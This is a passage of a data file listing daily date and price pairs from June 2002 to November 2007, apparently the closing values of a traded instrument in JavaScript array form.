['20020606',1.9800],
['20020607',2.0000],
['20020610',2.0000],
['20020611',2.0300],
['20020612',2.0800],
['20020613',2.2300],
['20020614',2.2200],
['20020617',2.2100],
['20020618',2.1900],
['20020619',2.0900],
['20020620',2.1100],
['20020621',2.0700],
['20020624',2.0700],
['20020625',2.1700],
['20020626',2.0900],
['20020627',2.1200],
['20020628',2.1700],
['20020701',2.1700],
['20020702',2.1800],
['20020703',2.1900],
['20020704',2.1800],
['20020705',2.1800],
['20020708',2.1700],
['20020709',2.1800],
['20020710',2.1600],
['20020711',2.1500],
['20020712',2.1700],
['20020715',2.1500],
['20020716',2.1300],
['20020717',2.1200],
['20020718',2.1300],
['20020719',2.1300],
['20020722',2.0600],
['20020723',2.1100],
['20020724',2.0700],
['20020725',2.0700],
['20020726',2.0100],
['20020729',2.0300],
['20020730',2.0600],
['20020731',2.0600],
['20020801',2.0600],
['20020802',2.0600],
['20020805',2.0400],
['20020806',2.0200],
['20020807',2.0300],
['20020808',2.0300],
['20020812',2.0300],
['20020813',2.0300],
['20020814',2.0300],
['20020815',2.0300],
['20020816',2.0400],
['20020819',2.0400],
['20020820',2.1000],
['20020821',2.0800],
['20020822',2.0800],
['20020823',2.0800],
['20020826',2.0400],
['20020827',2.0500],
['20020828',2.0400],
['20020829',2.0200],
['20020830',2.0200],
['20020902',2.0300],
['20020903',2.0200],
['20020904',2.0000],
['20020905',1.9900],
['20020906',1.9500],
['20020909',1.8800],
['20020910',1.8900],
['20020911',1.9000],
['20020912',1.9000],
['20020913',1.8900],
['20020916',1.8900],
['20020917',1.9100],
['20020918',1.9000],
['20020919',1.9000],
['20020920',1.8600],
['20020923',1.8100],
['20020924',1.7800],
['20020925',1.7000],
['20020926',1.7500],
['20020927',1.7700],
['20020930',1.7600],
['20021001',1.7600],
['20021002',1.7700],
['20021003',1.7600],
['20021004',1.7800],
['20021007',1.7500],
['20021008',1.7700],
['20021009',1.8300],
['20021010',1.8300],
['20021011',1.8100],
['20021014',1.8100],
['20021015',1.8300],
['20021016',1.8500],
['20021017',1.8500],
['20021018',1.9000],
['20021021',1.9000],
['20021022',1.9100],
['20021023',1.8900],
['20021024',1.8900],
['20021025',1.9000],
['20021028',1.9000],
['20021029',1.8900],
['20021030',1.9000],
['20021031',1.9000],
['20021101',1.8900],
['20021105',1.8900],
['20021106',1.9000],
['20021107',1.8900],
['20021108',1.8900],
['20021111',1.8600],
['20021112',1.8600],
['20021113',1.8500],
['20021114',1.8800],
['20021115',1.8800],
['20021118',1.8600],
['20021119',1.8800],
['20021120',1.8700],
['20021121',1.8600],
['20021122',1.8700],
['20021125',1.8800],
['20021126',1.8800],
['20021127',1.8800],
['20021128',1.8700],
['20021129',1.8700],
['20021202',1.8500],
['20021203',1.8400],
['20021204',1.8500],
['20021205',1.7900],
['20021209',1.7900],
['20021210',1.7700],
['20021211',1.8200],
['20021212',1.8500],
['20021213',1.8500],
['20021216',1.8500],
['20021217',1.7900],
['20021218',1.7900],
['20021219',1.7800],
['20021220',1.7800],
['20021223',1.7800],
['20021224',1.7800],
['20021226',1.7800],
['20021227',1.8500],
['20021230',1.8000],
['20021231',1.8100],
['20030102',1.8200],
['20030103',1.8500],
['20030106',1.8300],
['20030107',1.8500],
['20030108',1.8500],
['20030109',1.8500],
['20030110',1.8500],
['20030113',1.8900],
['20030114',1.9200],
['20030115',1.9100],
['20030116',1.9200],
['20030117',1.9200],
['20030120',1.9100],
['20030121',1.9400],
['20030122',1.9600],
['20030123',2.0100],
['20030124',2.0200],
['20030127',1.9600],
['20030128',1.9700],
['20030129',1.9400],
['20030130',1.9100],
['20030131',1.9100],
['20030204',1.9200],
['20030205',1.9300],
['20030206',1.9300],
['20030207',1.9300],
['20030210',1.9300],
['20030211',1.9300],
['20030213',1.9000],
['20030214',1.8900],
['20030217',1.8900],
['20030218',1.9000],
['20030219',1.9000],
['20030220',1.9000],
['20030221',1.8700],
['20030224',1.8700],
['20030225',1.8500],
['20030226',1.8600],
['20030227',1.8500],
['20030228',1.8300],
['20030303',1.8400],
['20030304',1.8300],
['20030305',1.8000],
['20030306',1.8000],
['20030307',1.7600],
['20030310',1.7100],
['20030311',1.6300],
['20030312',1.7600],
['20030313',1.8000],
['20030314',1.8200],
['20030317',1.8100],
['20030318',1.8200],
['20030319',1.8300],
['20030320',1.8500],
['20030321',1.9000],
['20030324',1.8800],
['20030325',1.9000],
['20030326',1.9400],
['20030327',1.9300],
['20030328',1.9300],
['20030331',1.8800],
['20030401',1.9100],
['20030402',1.9100],
['20030403',1.9200],
['20030404',1.9500],
['20030407',2.0000],
['20030408',1.9700],
['20030409',1.9400],
['20030410',1.9300],
['20030411',1.9600],
['20030414',1.9800],
['20030415',1.9500],
['20030416',1.9700],
['20030417',1.9600],
['20030421',1.9600],
['20030422',1.9500],
['20030423',1.9700],
['20030424',1.9500],
['20030425',1.9400],
['20030428',1.9400],
['20030429',1.9400],
['20030430',1.9400],
['20030502',1.9600],
['20030505',1.9900],
['20030506',1.9700],
['20030507',1.9800],
['20030508',2.0000],
['20030509',2.0100],
['20030512',2.0300],
['20030513',2.0400],
['20030514',2.0600],
['20030516',2.0600],
['20030519',2.0500],
['20030520',2.0500],
['20030521',2.0500],
['20030522',1.9600],
['20030523',1.9600],
['20030526',1.9900],
['20030527',1.9800],
['20030528',2.0000],
['20030529',1.9900],
['20030530',2.1000],
['20030602',2.1100],
['20030603',2.0900],
['20030604',2.1500],
['20030605',2.1600],
['20030606',2.1500],
['20030609',2.1600],
['20030610',2.1700],
['20030611',2.1700],
['20030612',2.1700],
['20030613',2.1500],
['20030616',2.1500],
['20030617',2.1800],
['20030618',2.1700],
['20030619',2.1900],
['20030620',2.2400],
['20030623',2.2500],
['20030624',2.2300],
['20030625',2.2400],
['20030626',2.2300],
['20030627',2.2400],
['20030630',2.2600],
['20030701',2.2500],
['20030702',2.2400],
['20030703',2.2500],
['20030704',2.2500],
['20030707',2.2600],
['20030708',2.2600],
['20030709',2.3000],
['20030710',2.3800],
['20030711',2.3900],
['20030714',2.4100],
['20030715',2.4500],
['20030716',2.4800],
['20030717',2.4100],
['20030718',2.4500],
['20030721',2.4600],
['20030722',2.4200],
['20030723',2.4500],
['20030724',2.4100],
['20030725',2.4000],
['20030728',2.4000],
['20030729',2.3800],
['20030730',2.3900],
['20030731',2.3900],
['20030801',2.4200],
['20030804',2.4100],
['20030805',2.4000],
['20030806',2.3900],
['20030807',2.4200],
['20030808',2.4200],
['20030811',2.4800],
['20030812',2.4900],
['20030813',2.5300],
['20030814',2.5200],
['20030815',2.6400],
['20030818',2.6700],
['20030819',2.6800],
['20030820',2.6600],
['20030821',2.6900],
['20030822',2.6700],
['20030825',2.7000],
['20030826',2.6600],
['20030827',2.6600],
['20030828',2.6300],
['20030829',2.6700],
['20030901',2.6900],
['20030902',2.7000],
['20030903',2.6500],
['20030904',2.6700],
['20030905',2.6800],
['20030908',2.6400],
['20030909',2.5500],
['20030910',2.5700],
['20030911',2.6100],
['20030912',2.6200],
['20030915',2.6500],
['20030916',2.6600],
['20030917',2.6800],
['20030918',2.7000],
['20030919',2.7100],
['20030922',2.6700],
['20030923',2.7000],
['20030924',2.7300],
['20030925',2.7300],
['20030926',2.7100],
['20030929',2.7100],
['20030930',2.7000],
['20031001',2.6900],
['20031002',2.6700],
['20031003',2.7300],
['20031006',2.7500],
['20031007',2.8100],
['20031008',2.8600],
['20031009',2.8800],
['20031010',2.8400],
['20031013',2.8600],
['20031014',2.8200],
['20031015',2.8300],
['20031016',2.8300],
['20031017',2.8200],
['20031020',2.8500],
['20031021',2.8200],
['20031022',2.8300],
['20031023',2.7400],
['20031027',2.7100],
['20031028',2.7600],
['20031029',2.7500],
['20031030',2.7300],
['20031031',2.7600],
['20031103',2.7800],
['20031104',2.8300],
['20031105',2.7900],
['20031106',2.7900],
['20031107',2.7900],
['20031110',2.7700],
['20031111',2.7000],
['20031112',2.6900],
['20031113',2.6900],
['20031114',2.6600],
['20031117',2.6300],
['20031118',2.6500],
['20031119',2.6200],
['20031120',2.6500],
['20031121',2.5800],
['20031124',2.6000],
['20031126',2.6000],
['20031127',2.6100],
['20031128',2.6500],
['20031201',2.6600],
['20031202',2.6300],
['20031203',2.6500],
['20031204',2.6800],
['20031205',2.6500],
['20031208',2.6300],
['20031209',2.6400],
['20031210',2.6000],
['20031211',2.6000],
['20031212',2.5800],
['20031215',2.5800],
['20031216',2.5600],
['20031217',2.5200],
['20031218',2.5200],
['20031219',2.5400],
['20031222',2.5200],
['20031223',2.5200],
['20031224',2.5300],
['20031226',2.5500],
['20031229',2.6100],
['20031230',2.6100],
['20031231',2.6300],
['20040102',2.6700],
['20040105',2.6600],
['20040106',2.6300],
['20040107',2.6900],
['20040108',2.6600],
['20040109',2.6500],
['20040112',2.6300],
['20040113',2.7100],
['20040114',2.7100],
['20040115',2.6800],
['20040116',2.6900],
['20040119',2.7000],
['20040120',2.7400],
['20040121',2.7000],
['20040126',2.6800],
['20040127',2.7700],
['20040128',2.7600],
['20040129',2.7600],
['20040130',2.7700],
['20040203',2.7500],
['20040204',2.7400],
['20040205',2.7500],
['20040206',2.7300],
['20040209',2.7500],
['20040210',2.7500],
['20040211',2.7600],
['20040212',2.7400],
['20040213',2.7400],
['20040216',2.7600],
['20040217',2.7700],
['20040218',2.7700],
['20040219',2.7700],
['20040220',2.7500],
['20040223',2.7600],
['20040224',2.7500],
['20040225',2.7600],
['20040226',2.7600],
['20040227',2.7700],
['20040301',2.7000],
['20040302',2.7700],
['20040303',2.7700],
['20040304',2.8100],
['20040305',2.8100],
['20040308',2.8500],
['20040309',2.8500],
['20040310',2.8500],
['20040311',2.8600],
['20040312',2.8100],
['20040315',2.8100],
['20040316',2.8100],
['20040317',2.7900],
['20040318',2.7900],
['20040319',2.9000],
['20040322',2.8900],
['20040323',2.9200],
['20040324',2.9000],
['20040325',2.8700],
['20040326',2.8400],
['20040329',2.8600],
['20040330',2.9000],
['20040331',2.9100],
['20040401',2.9500],
['20040402',2.9500],
['20040405',2.9700],
['20040406',2.9700],
['20040407',2.9700],
['20040408',3.0200],
['20040412',3.0000],
['20040413',3.0400],
['20040414',3.0200],
['20040415',2.9800],
['20040416',3.0000],
['20040419',2.9800],
['20040420',2.9800],
['20040421',2.9900],
['20040422',3.0000],
['20040423',3.0000],
['20040426',2.9900],
['20040427',3.0000],
['20040428',3.0000],
['20040429',2.8800],
['20040430',2.8700],
['20040503',2.8500],
['20040504',2.8700],
['20040505',2.9100],
['20040506',2.9000],
['20040507',2.9300],
['20040510',2.9000],
['20040511',2.8600],
['20040512',2.8900],
['20040513',2.8300],
['20040514',2.8400],
['20040517',2.8200],
['20040518',2.8300],
['20040519',2.8800],
['20040520',2.8800],
['20040521',2.8800],
['20040524',2.8600],
['20040525',2.8600],
['20040526',2.8700],
['20040527',2.8700],
['20040528',2.8700],
['20040531',2.9000],
['20040601',2.8700],
['20040603',2.8400],
['20040604',2.8200],
['20040607',2.8300],
['20040608',2.8300],
['20040609',2.8300],
['20040610',2.8300],
['20040611',2.8300],
['20040614',2.8300],
['20040615',2.8400],
['20040616',2.8800],
['20040617',2.8700],
['20040618',2.8600],
['20040621',2.8400],
['20040622',2.8300],
['20040623',2.8500],
['20040624',2.8500],
['20040625',2.8600],
['20040628',2.8800],
['20040629',2.8800],
['20040630',2.8700],
['20040701',2.8300],
['20040702',2.8400],
['20040705',2.8400],
['20040706',2.8700],
['20040707',2.8700],
['20040708',2.8400],
['20040709',2.8500],
['20040712',2.8900],
['20040713',2.8900],
['20040714',2.8700],
['20040715',2.8600],
['20040716',2.8600],
['20040719',2.8900],
['20040720',2.9000],
['20040721',2.8800],
['20040722',2.8800],
['20040723',2.8700],
['20040726',2.8700],
['20040727',2.8900],
['20040728',2.8800],
['20040729',2.8800],
['20040730',2.8900],
['20040802',2.9000],
['20040803',2.9000],
['20040804',2.9000],
['20040805',2.8800],
['20040806',2.8600],
['20040810',2.9100],
['20040811',2.9400],
['20040812',2.9300],
['20040813',2.9000],
['20040816',2.8800],
['20040817',2.8600],
['20040818',2.8700],
['20040819',2.9000],
['20040820',2.8900],
['20040823',2.9200],
['20040824',2.8900],
['20040825',2.9300],
['20040826',2.8500],
['20040827',2.8400],
['20040830',2.8300],
['20040831',2.8400],
['20040901',2.8600],
['20040902',2.8300],
['20040903',2.8200],
['20040906',2.8200],
['20040907',2.8400],
['20040908',2.8700],
['20040909',2.8600],
['20040910',2.8400],
['20040913',2.8300],
['20040914',2.8500],
['20040915',2.8500],
['20040916',2.8500],
['20040917',2.8500],
['20040920',2.8400],
['20040921',2.8600],
['20040922',2.8800],
['20040923',2.8500],
['20040924',2.8500],
['20040927',2.8300],
['20040928',2.8400],
['20040929',2.8400],
['20040930',2.8700],
['20041001',2.8300],
['20041004',2.8400],
['20041005',2.8500],
['20041006',2.8600],
['20041007',2.8500],
['20041008',2.8500],
['20041011',2.8500],
['20041012',2.8200],
['20041013',2.8200],
['20041014',2.8100],
['20041015',2.8100],
['20041018',2.7900],
['20041019',2.7900],
['20041020',2.7500],
['20041021',2.7700],
['20041022',2.7900],
['20041025',2.8000],
['20041026',2.8100],
['20041027',2.8000],
['20041028',2.8200],
['20041029',2.8500],
['20041101',2.8600],
['20041102',2.8500],
['20041103',2.8500],
['20041104',2.8400],
['20041105',2.8700],
['20041108',2.8700],
['20041109',2.8400],
['20041110',2.8500],
['20041112',2.8600],
['20041116',2.8600],
['20041117',2.8400],
['20041118',2.8500],
['20041119',2.8400],
['20041122',2.8600],
['20041123',2.9200],
['20041124',2.9400],
['20041125',2.9100],
['20041126',2.9100],
['20041129',2.9500],
['20041130',2.9300],
['20041201',2.9400],
['20041202',2.9400],
['20041203',2.9400],
['20041206',2.9300],
['20041207',2.9100],
['20041208',2.8800],
['20041209',2.8800],
['20041210',2.9100],
['20041213',2.8900],
['20041214',2.9000],
['20041215',2.9300],
['20041216',2.9200],
['20041217',2.9300],
['20041220',2.9500],
['20041221',3.0200],
['20041222',3.0000],
['20041223',3.0800],
['20041224',3.0400],
['20041227',3.0200],
['20041228',3.0200],
['20041229',3.0000],
['20041230',3.0400],
['20041231',3.0000],
['20050103',3.0400],
['20050104',3.0600],
['20050105',3.1000],
['20050106',3.1000],
['20050107',3.1000],
['20050110',3.1000],
['20050111',3.1600],
['20050112',3.1400],
['20050113',3.1800],
['20050114',3.1800],
['20050117',3.1800],
['20050118',3.1800],
['20050119',3.1800],
['20050120',3.2000],
['20050124',3.2000],
['20050125',3.1800],
['20050126',3.2000],
['20050127',3.2000],
['20050128',3.2000],
['20050131',3.2000],
['20050201',3.2200],
['20050202',3.2400],
['20050203',3.2400],
['20050204',3.2400],
['20050207',3.2600],
['20050208',3.2200],
['20050211',3.2400],
['20050214',3.3400],
['20050215',3.3800],
['20050216',3.3400],
['20050217',3.3600],
['20050218',3.3600],
['20050221',3.4000],
['20050222',3.4000],
['20050223',3.3800],
['20050224',3.3400],
['20050225',3.3400],
['20050228',3.3200],
['20050301',3.2800],
['20050302',3.3400],
['20050303',3.4000],
['20050304',3.3600],
['20050307',3.3800],
['20050308',3.3800],
['20050309',3.5200],
['20050310',3.4800],
['20050311',3.5000],
['20050314',3.5000],
['20050315',3.5000],
['20050316',3.4600],
['20050317',3.4800],
['20050318',3.4800],
['20050321',3.3600],
['20050322',3.4600],
['20050323',3.4400],
['20050324',3.4600],
['20050328',3.4200],
['20050329',3.4200],
['20050330',3.4400],
['20050331',3.5000],
['20050401',3.5000],
['20050404',3.5200],
['20050405',3.4800],
['20050406',3.4800],
['20050407',3.5000],
['20050408',3.4800],
['20050411',3.4800],
['20050412',3.4600],
['20050413',3.5000],
['20050414',3.5000],
['20050415',3.4600],
['20050418',3.4400],
['20050419',3.3800],
['20050420',3.3600],
['20050421',3.3200],
['20050422',3.3400],
['20050425',3.3200],
['20050426',3.3000],
['20050427',3.3200],
['20050428',3.2000],
['20050429',3.2000],
['20050503',3.1600],
['20050504',3.2600],
['20050505',3.2000],
['20050506',3.2600],
['20050509',3.2600],
['20050510',3.2800],
['20050511',3.3000],
['20050512',3.4000],
['20050513',3.4000],
['20050516',3.3600],
['20050517',3.3600],
['20050518',3.3600],
['20050519',3.3800],
['20050520',3.3800],
['20050524',3.3800],
['20050525',3.3400],
['20050526',3.4000],
['20050527',3.4200],
['20050530',3.4000],
['20050531',3.3800],
['20050601',3.4000],
['20050602',3.4000],
['20050603',3.3800],
['20050606',3.4000],
['20050607',3.3400],
['20050608',3.3400],
['20050609',3.3200],
['20050610',3.3400],
['20050613',3.3800],
['20050614',3.3200],
['20050615',3.3400],
['20050616',3.3400],
['20050617',3.3200],
['20050620',3.3400],
['20050621',3.3800],
['20050622',3.3000],
['20050623',3.3600],
['20050624',3.3400],
['20050627',3.3600],
['20050628',3.3200],
['20050629',3.3400],
['20050630',3.3600],
['20050701',3.4800],
['20050704',3.4600],
['20050705',3.4600],
['20050706',3.4000],
['20050707',3.4000],
['20050708',3.4000],
['20050711',3.4400],
['20050712',3.4200],
['20050713',3.5200],
['20050714',3.5800],
['20050715',3.5400],
['20050718',3.5400],
['20050719',3.6600],
['20050720',3.7200],
['20050721',3.6800],
['20050722',3.6800],
['20050725',3.6200],
['20050726',3.6400],
['20050727',3.6800],
['20050728',3.8400],
['20050729',3.9400],
['20050801',4.0400],
['20050802',4.0200],
['20050803',4.0000],
['20050804',3.9800],
['20050805',3.9600],
['20050808',3.9600],
['20050810',3.8800],
['20050811',3.8000],
['20050812',3.7400],
['20050815',3.6600],
['20050816',3.7200],
['20050817',3.7200],
['20050818',3.6400],
['20050819',3.7400],
['20050822',3.7400],
['20050823',3.7000],
['20050824',3.6400],
['20050825',3.6800],
['20050826',3.6600],
['20050829',3.6200],
['20050830',3.6600],
['20050831',3.6600],
['20050901',3.6400],
['20050902',3.6200],
['20050905',3.6000],
['20050906',3.6000],
['20050907',3.6000],
['20050908',3.6000],
['20050909',3.6200],
['20050912',3.6400],
['20050913',3.6400],
['20050914',3.6400],
['20050915',3.6600],
['20050916',3.6600],
['20050919',3.7200],
['20050920',3.7600],
['20050921',3.8000],
['20050922',3.8000],
['20050923',3.8000],
['20050926',3.8200],
['20050927',3.8200],
['20050928',3.7800],
['20050929',3.7200],
['20050930',3.7000],
['20051003',3.6600],
['20051004',3.7000],
['20051005',3.7600],
['20051006',3.7800],
['20051007',3.7400],
['20051010',3.7200],
['20051011',3.7200],
['20051012',3.7600],
['20051013',3.7800],
['20051014',3.7600],
['20051017',3.7800],
['20051018',3.7400],
['20051019',3.6400],
['20051020',3.7200],
['20051021',3.6600],
['20051024',3.6400],
['20051025',3.6600],
['20051026',3.6600],
['20051027',3.5600],
['20051028',3.5800],
['20051031',3.5600],
['20051102',3.6200],
['20051104',3.6000],
['20051107',3.5800],
['20051108',3.5800],
['20051109',3.5800],
['20051110',3.6600],
['20051111',3.6200],
['20051114',3.6400],
['20051115',3.6000],
['20051116',3.5800],
['20051117',3.6000],
['20051118',3.6000],
['20051121',3.6600],
['20051122',3.6000],
['20051123',3.6200],
['20051124',3.6000],
['20051125',3.6200],
['20051128',3.6200],
['20051129',3.6400],
['20051130',3.6600],
['20051201',3.6400],
['20051202',3.6400],
['20051205',3.6200],
['20051206',3.6200],
['20051207',3.6200],
['20051208',3.5600],
['20051209',3.6000],
['20051212',3.5800],
['20051213',3.6000],
['20051214',3.6200],
['20051215',3.6400],
['20051216',3.6400],
['20051219',3.6400],
['20051220',3.6400],
['20051221',3.6800],
['20051222',3.6800],
['20051223',3.7000],
['20051227',3.6400],
['20051228',3.6600],
['20051229',3.6600],
['20051230',3.6200],
['20060103',3.6800],
['20060104',3.7000],
['20060105',3.6600],
['20060106',3.7000],
['20060109',3.7600],
['20060111',3.7400],
['20060112',3.7400],
['20060113',3.7200],
['20060116',3.8000],
['20060117',3.7400],
['20060118',3.7200],
['20060119',3.7600],
['20060120',3.7800],
['20060123',3.7400],
['20060124',3.7400],
['20060125',3.7600],
['20060126',3.7400],
['20060127',3.7800],
['20060201',3.7600],
['20060202',3.7800],
['20060203',3.7600],
['20060206',3.8200],
['20060207',3.8200],
['20060208',3.8200],
['20060209',3.8400],
['20060210',3.8200],
['20060213',3.8400],
['20060214',3.8200],
['20060215',3.8200],
['20060216',3.8400],
['20060217',3.8600],
['20060220',3.8400],
['20060221',3.8400],
['20060222',3.8200],
['20060223',3.7800],
['20060224',3.7800],
['20060227',3.7800],
['20060228',3.8400],
['20060301',3.8400],
['20060302',3.8200],
['20060303',3.8200],
['20060306',3.8200],
['20060307',3.8000],
['20060308',3.8000],
['20060309',3.7600],
['20060310',3.7000],
['20060313',3.6600],
['20060314',3.6800],
['20060315',3.6200],
['20060316',3.6000],
['20060317',3.5400],
['20060320',3.5400],
['20060321',3.5400],
['20060322',3.5800],
['20060323',3.5400],
['20060324',3.5400],
['20060327',3.5600],
['20060328',3.6200],
['20060329',3.6400],
['20060330',3.6800],
['20060331',3.7000],
['20060403',3.7400],
['20060404',3.6800],
['20060405',3.7200],
['20060406',3.6800],
['20060407',3.6400],
['20060410',3.7000],
['20060411',3.7600],
['20060412',3.7200],
['20060413',3.7200],
['20060417',3.6400],
['20060418',3.6600],
['20060419',3.6800],
['20060420',3.7000],
['20060421',3.6800],
['20060424',3.6400],
['20060425',3.6800],
['20060426',3.6800],
['20060427',3.6800],
['20060428',3.6800],
['20060502',3.6800],
['20060503',3.7400],
['20060504',3.7400],
['20060505',3.5800],
['20060508',3.5600],
['20060509',3.5600],
['20060510',3.5400],
['20060511',3.5400],
['20060515',3.4600],
['20060516',3.4200],
['20060517',3.4800],
['20060518',3.3800],
['20060519',3.3800],
['20060522',3.3200],
['20060523',3.3000],
['20060524',3.2800],
['20060525',3.2200],
['20060526',3.2400],
['20060529',3.2200],
['20060530',3.2200],
['20060531',3.1600],
['20060601',3.1600],
['20060602',3.1800],
['20060605',3.1800],
['20060606',3.1600],
['20060607',3.1400],
['20060608',3.0600],
['20060609',3.1000],
['20060612',3.0800],
['20060613',3.0800],
['20060614',3.1000],
['20060615',3.1400],
['20060616',3.2000],
['20060619',3.1600],
['20060620',3.1600],
['20060621',3.1600],
['20060622',3.1600],
['20060623',3.1200],
['20060626',3.1400],
['20060627',3.2000],
['20060628',3.1600],
['20060629',3.2400],
['20060630',3.2800],
['20060703',3.3200],
['20060704',3.3400],
['20060705',3.3000],
['20060706',3.2800],
['20060707',3.2400],
['20060710',3.2600],
['20060711',3.2400],
['20060712',3.2400],
['20060713',3.2000],
['20060714',3.2000],
['20060717',3.1800],
['20060718',3.2200],
['20060719',3.2400],
['20060720',3.2400],
['20060721',3.2400],
['20060724',3.2000],
['20060725',3.2000],
['20060726',3.1800],
['20060727',3.2000],
['20060728',3.2200],
['20060731',3.2400],
['20060801',3.2600],
['20060802',3.2800],
['20060803',3.2400],
['20060804',3.2600],
['20060807',3.2400],
['20060808',3.2200],
['20060810',3.1800],
['20060811',3.2000],
['20060814',3.2000],
['20060815',3.2400],
['20060816',3.2600],
['20060817',3.3400],
['20060818',3.3400],
['20060821',3.3200],
['20060822',3.3400],
['20060823',3.3400],
['20060824',3.3400],
['20060825',3.3600],
['20060828',3.2600],
['20060829',3.2600],
['20060830',3.2400],
['20060831',3.2200],
['20060901',3.2200],
['20060904',3.2200],
['20060905',3.2200],
['20060906',3.2000],
['20060907',3.1600],
['20060908',3.2000],
['20060911',3.1600],
['20060912',3.1800],
['20060913',3.2400],
['20060914',3.2200],
['20060915',3.2000],
['20060918',3.2000],
['20060919',3.1800],
['20060920',3.1800],
['20060921',3.1600],
['20060922',3.1800],
['20060925',3.2000],
['20060926',3.2200],
['20060927',3.2400],
['20060928',3.2400],
['20060929',3.2600],
['20061002',3.2600],
['20061003',3.2400],
['20061004',3.2200],
['20061005',3.4000],
['20061006',3.4000],
['20061009',3.3800],
['20061010',3.4200],
['20061011',3.4400],
['20061012',3.5000],
['20061013',3.6000],
['20061016',3.5200],
['20061017',3.4600],
['20061018',3.4400],
['20061019',3.4600],
['20061020',3.4600],
['20061023',3.4600],
['20061025',3.4800],
['20061026',3.5200],
['20061027',3.4600],
['20061030',3.4200],
['20061031',3.4200],
['20061101',3.4000],
['20061102',3.4000],
['20061103',3.4000],
['20061106',3.3600],
['20061107',3.3600],
['20061108',3.3600],
['20061109',3.3800],
['20061110',3.4800],
['20061113',3.5400],
['20061114',3.5800],
['20061115',3.5400],
['20061116',3.6000],
['20061117',3.5800],
['20061120',3.5000],
['20061121',3.5000],
['20061122',3.5000],
['20061123',3.5000],
['20061124',3.6000],
['20061127',3.6400],
['20061128',3.6200],
['20061129',3.6200],
['20061130',3.6200],
['20061201',3.6200],
['20061204',3.7800],
['20061205',3.8000],
['20061206',3.7600],
['20061207',3.8000],
['20061208',3.7800],
['20061211',3.8000],
['20061212',3.8000],
['20061213',3.8400],
['20061214',3.8200],
['20061215',3.8000],
['20061218',3.8400],
['20061219',3.8000],
['20061220',3.8200],
['20061221',3.8000],
['20061222',3.8400],
['20061226',3.8400],
['20061227',3.8400],
['20061228',3.8400],
['20061229',3.8200],
['20070103',3.8600],
['20070104',3.8400],
['20070105',3.8200],
['20070108',3.8200],
['20070109',3.8200],
['20070110',3.7600],
['20070111',3.7800],
['20070112',3.7800],
['20070115',3.8400],
['20070116',3.8600],
['20070117',4.0000],
['20070118',3.9800],
['20070119',3.9400],
['20070122',4.0000],
['20070123',4.1400],
['20070124',4.1600],
['20070125',4.1600],
['20070126',4.1200],
['20070129',4.1600],
['20070130',4.1400],
['20070131',4.1000],
['20070201',4.1400],
['20070202',4.1800],
['20070205',4.2000],
['20070206',4.1600],
['20070207',4.2000],
['20070208',4.2400],
['20070209',4.2200],
['20070212',4.2400],
['20070213',4.2000],
['20070214',4.2200],
['20070215',4.2600],
['20070216',4.2400],
['20070221',4.1200],
['20070222',4.0800],
['20070223',4.1400],
['20070226',4.1200],
['20070227',4.0800],
['20070228',4.0000],
['20070301',3.9800],
['20070302',3.9200],
['20070305',3.7400],
['20070306',3.8600],
['20070307',3.8200],
['20070308',3.8200],
['20070309',3.8600],
['20070312',3.9000],
['20070313',3.9000],
['20070314',3.8800],
['20070315',3.9400],
['20070316',3.9200],
['20070319',3.9400],
['20070320',3.9400],
['20070321',3.9400],
['20070322',3.9600],
['20070323',3.9400],
['20070326',3.9600],
['20070327',3.9800],
['20070328',3.9800],
['20070329',4.0200],
['20070330',4.0400],
['20070402',4.0200],
['20070403',4.0400],
['20070404',4.0600],
['20070405',4.0600],
['20070409',4.0800],
['20070410',4.0600],
['20070411',4.0000],
['20070412',4.0000],
['20070413',4.0000],
['20070416',4.0600],
['20070417',4.0600],
['20070418',4.1400],
['20070419',4.0800],
['20070420',4.1400],
['20070423',4.1000],
['20070424',4.1000],
['20070425',4.1400],
['20070426',4.1400],
['20070427',3.9800],
['20070430',3.9000],
['20070502',3.9000],
['20070503',3.9600],
['20070504',4.0800],
['20070507',4.1200],
['20070508',4.0800],
['20070509',4.1200],
['20070510',4.0600],
['20070511',4.0000],
['20070514',4.0200],
['20070515',4.0200],
['20070516',4.0200],
['20070517',4.0600],
['20070518',4.0400],
['20070521',4.0200],
['20070522',4.0200],
['20070523',4.0400],
['20070524',4.0200],
['20070525',4.0000],
['20070528',4.0800],
['20070529',4.0600],
['20070530',4.0600],
['20070601',4.0400],
['20070604',4.0400],
['20070605',4.0600],
['20070606',4.0200],
['20070607',4.0000],
['20070608',4.0200],
['20070611',4.0400],
['20070612',4.0600],
['20070613',4.0800],
['20070614',4.1200],
['20070615',4.1400],
['20070618',4.2200],
['20070619',4.2400],
['20070620',4.2400],
['20070621',4.1800],
['20070622',4.1800],
['20070625',4.1800],
['20070626',4.1400],
['20070627',4.1200],
['20070628',4.1000],
['20070629',4.1800],
['20070702',4.1400],
['20070703',4.1200],
['20070704',4.0600],
['20070705',4.1200],
['20070706',4.0800],
['20070709',4.1000],
['20070710',4.1000],
['20070711',4.1000],
['20070712',4.1000],
['20070713',4.1000],
['20070716',4.1400],
['20070717',4.1400],
['20070718',4.0600],
['20070719',4.0800],
['20070720',4.1200],
['20070723',4.1200],
['20070724',4.1600],
['20070725',4.1400],
['20070726',4.1200],
['20070727',4.0400],
['20070730',4.0400],
['20070731',4.0600],
['20070801',3.9600],
['20070802',3.9400],
['20070803',3.9400],
['20070806',3.8200],
['20070807',3.8000],
['20070808',3.8200],
['20070810',3.7200],
['20070813',3.8000],
['20070814',3.7800],
['20070815',3.7400],
['20070816',3.5600],
['20070817',3.5200],
['20070820',3.7400],
['20070821',3.6600],
['20070822',3.6600],
['20070823',3.6800],
['20070824',3.6400],
['20070827',3.6600],
['20070828',3.6200],
['20070829',3.5800],
['20070830',3.5800],
['20070831',3.5200],
['20070903',3.5800],
['20070904',3.6000],
['20070905',3.6200],
['20070906',3.6600],
['20070907',3.6200],
['20070910',3.5800],
['20070911',3.5800],
['20070912',3.6000],
['20070913',3.7000],
['20070914',3.6600],
['20070917',3.5800],
['20070918',3.6000],
['20070919',3.6800],
['20070920',3.7000],
['20070921',3.7000],
['20070924',3.7600],
['20070925',3.7600],
['20070926',3.7600],
['20070927',3.8000],
['20070928',3.8800],
['20071001',3.9400],
['20071002',3.9400],
['20071003',3.8000],
['20071004',3.8000],
['20071005',3.8600],
['20071008',3.8600],
['20071009',3.9000],
['20071010',3.9200],
['20071011',3.9200],
['20071012',3.8800],
['20071015',3.9200],
['20071016',3.9000],
['20071017',3.8800],
['20071018',3.8800],
['20071019',3.9400],
['20071022',3.9000],
['20071023',3.8600],
['20071024',3.8600],
['20071025',3.9200],
['20071026',3.9200],
['20071029',3.9400],
['20071030',3.9000],
['20071031',3.9400],
['20071101',3.9000],
['20071102',3.8800],
['20071105',3.8600],
